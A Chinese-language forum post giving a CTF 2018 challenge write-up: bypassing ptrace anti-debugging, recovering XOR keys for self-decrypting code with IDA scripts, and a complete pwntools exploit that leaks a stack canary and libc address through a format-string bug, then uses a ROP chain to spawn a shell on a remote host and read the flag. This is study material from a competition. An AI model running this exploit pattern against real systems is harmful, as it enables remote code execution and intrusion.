首页
论坛
课程
招聘
[原创]CTF2018第三题writeup
2018-6-22 10:34 1223

[原创]CTF2018第三题writeup

2018-6-22 10:34
1223

1.Anti-Debug

使用ptrace来反调,发现调试就退出,直接nop掉即可

2.SMC

过反调之后就是自解码了,自解码的key为6字节,可控,整段shellcode的中部丢失,观察头部解密代码.
.text:0000000000400866                         L1_64:                                  ; CODE XREF: .text:0000000000400878↓j
.text:0000000000400866                                                                 ; .text:000000000040087D↓j
.text:0000000000400866 8A 1C 08                                mov     bl, [rax+rcx]
.text:0000000000400869 30 D3                                   xor     bl, dl
.text:000000000040086B 88 1C 08                                mov     [rax+rcx], bl
.text:000000000040086E 8A 74 08 FF                             mov     dh, [rax+rcx-1]
.text:0000000000400872 48 FF C1                                inc     rcx
.text:0000000000400875 80 FE FB                                cmp     dh, 0FBh
.text:0000000000400878 74 EC                                   jz      short L1_64
.text:000000000040087A 80 FB 90                                cmp     bl, 90h
.text:000000000040087D 75 E7                                   jnz     short L1_64
头部使用key[0]进行xor解密,当最后一个解密字符为0x90且倒数第二个不为0xFB时结束解密.单个解码key有0xFF种可能,因此我们猜测后续解密也使用了固定的结构,也就是使用了cmp bl,90h.
def find(start, end):
    for key in range(0,0xFF):
        for addr in range(start, end):
            if Byte(addr)^key == 0xFB and Byte(addr+1)^key == 0x90:
                print hex(key)
                print hex(addr)
find(0x40087F, 0x400A73)   
可以得出5个key

0x65-0x4008c4

0x13-0x40090b

0x4b-0x400952

0x25-0x400999

0x44-0x4009d7

进行解码
def Decode(start, end, key):
    for addr in range(start, end):
        PatchByte(addr, Byte(addr)^key)
发现解码后的数据段之间还存在未解码的数据,结合解密的终止条件,猜测最后一个字符应该为nop,因此扩大地址重新进行解密.
观察第五段解密代码,发现以0x90结尾,因此最后一个key是0xF
.text:00000000004009CB                         L6_64:                                  ; CODE XREF: .text:00000000004009D9↓j
.text:00000000004009CB 8A 1C 08                                mov     bl, [rax+rcx]
.text:00000000004009CE 30 D3                                   xor     bl, dl
.text:00000000004009D0 88 1C 08                                mov     [rax+rcx], bl
.text:00000000004009D3 48 FF C1                                inc     rcx
.text:00000000004009D6 80 FB 90                                cmp     bl, 90h
.text:00000000004009D9 75 F0                                   jnz     short L6_64
.text:00000000004009DB 90                                      nop
6个解密key为0x65 0x13 0x4b 0x25 0x44 0x0F
但是这6个key并不是我们输入的key,因此key与key之间还有xor运算.
因此最后的输入为evXnaK

3.溢出

观察解密后的shellcode,发现存在栈溢出和printf漏洞.
printf的参数可控,大小为0x1A,因此可以用来泄露canary(%13$p)和lic_start_main (%15$p) 的地址
由于开启了libc.so的PIE,所以要使用rop来调用system,rop需要寻找pop rdi,ret.system地址,/bin/sh地址
终上所述,exp如下:
from pwn import *

context.log_level = 'debug'


libc = ELF('libc-2.23.so')
symbol_libc_start_main = libc.symbols['__libc_start_main']
symbol_system = libc.symbols['system']
symbol_pop_rdi_ret = 0x21102
symbol_bin_sh = 0x18CD57
offset__system = symbol_libc_start_main - symbol_system
offset_pop_rdi_ret = symbol_libc_start_main - symbol_pop_rdi_ret
offset_bin_sh = symbol_libc_start_main - symbol_bin_sh

#p=process('./wow_modify')
p=remote('139.199.99.130', 65188)
print(p.recv())
p.sendline('evXnaK-%13$p-%15$p-')
p.recvuntil('-')
canary = int(p.recvuntil('-')[:-1],16)
libc_start_main = int(p.recvuntil('-')[:-1],16)-0xF0
print hex(libc_start_main)
print hex(libc_start_main-offset_pop_rdi_ret)
print hex(libc_start_main-offset__system)
payload = 'A'*0x58+p64(canary)+'B'*8+p64(libc_start_main-offset_pop_rdi_ret)+p64(libc_start_main-offset_bin_sh)+p64(libc_start_main-offset__system)
p.sendline(payload)
p.recv()
p.interactive()
运行ls -l,发现flag.txt,然后cat下
flag:572416a82fa298b09b87f733d5483ba51



 


看雪侠者千人榜,看看你上榜了吗?

收藏
点赞0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回